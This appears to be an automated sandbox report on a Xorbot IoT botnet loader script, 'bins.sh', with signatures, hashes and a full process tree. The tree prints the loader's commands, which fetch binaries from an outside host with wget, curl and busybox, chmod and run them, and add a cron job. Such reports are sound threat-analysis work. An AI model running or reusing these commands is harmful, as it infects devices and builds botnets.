Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/01/2025, 14:43

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250124-r3jsvsvmfj
  • SHA256 a4cdd3b7ac2290336bd5a1fdadafa9f027d4fdb30ae8fe70dbf3a75f7ee732fd
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1523) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:652
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:656
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:671
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • Writes file to tmp directory
        PID:680
      • /bin/chmod
        chmod 777 36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        ./36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
        2⤵
          PID:682
        • /bin/rm
          rm 36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
          2⤵
            PID:685
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:687
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:696
          • /bin/chmod
            chmod 777 xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            ./xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
            2⤵
              PID:701
            • /bin/rm
              rm xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
              2⤵
                PID:704
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:705
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:774
              • /bin/chmod
                chmod 777 dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                • File and Directory Permissions Modification
                PID:778
              • /tmp/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                ./dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                2⤵
                  PID:779
                • /bin/rm
                  rm dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                  2⤵
                    PID:781
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:782
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:783
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:787
                  • /bin/chmod
                    chmod 777 3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:788
                  • /tmp/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                    ./3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                    2⤵
                      PID:789
                    • /bin/rm
                      rm 3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                      2⤵
                        PID:791
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:792
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:793
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:795
                      • /bin/chmod
                        chmod 777 KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                        2⤵
                        • File and Directory Permissions Modification
                        PID:796
                      • /tmp/KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                        ./KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:797
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:799
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:800
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:801
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:802
                            • /bin/rm
                              rm KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                              2⤵
                                PID:804
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/bgN4ZfUfGHDMg6wicjR2M1bnGuye3JEGzS
                                2⤵
                                • System Network Configuration Discovery
                                PID:807

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
                                  • Path /tmp/36gH0tFXKJfCJRD0oSVr8cXnDM6igEPdY0
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                                  • Path /tmp/3AL9ImvBdWVas3StETM48mTiVzTS3g0BAc
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                                  • Path /tmp/KusmpjlKiERHGDh9DDIfWBkkRDbDmYma41
                                  • Size 141KB
                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                                  • Path /tmp/dLcC0AMv0WCDu0OArOeDrNmnSGS1OXFs4u
                                  • Size 112KB
                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                                  • Path /tmp/xiAx6dnxadLSG1lPcJ0SoNsQhOYe6xEjfr
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.MlR4lQ
                                  • Path /var/spool/cron/crontabs/tmp.MlR4lQ
                                  • Size 210B
                                  • SHA256 6e0f03295d21735eb2bf60704530372b095c8972592e0e844014afe3dfb14e25
                                  • MD5 SHA1 SHA512
                                  Submit Download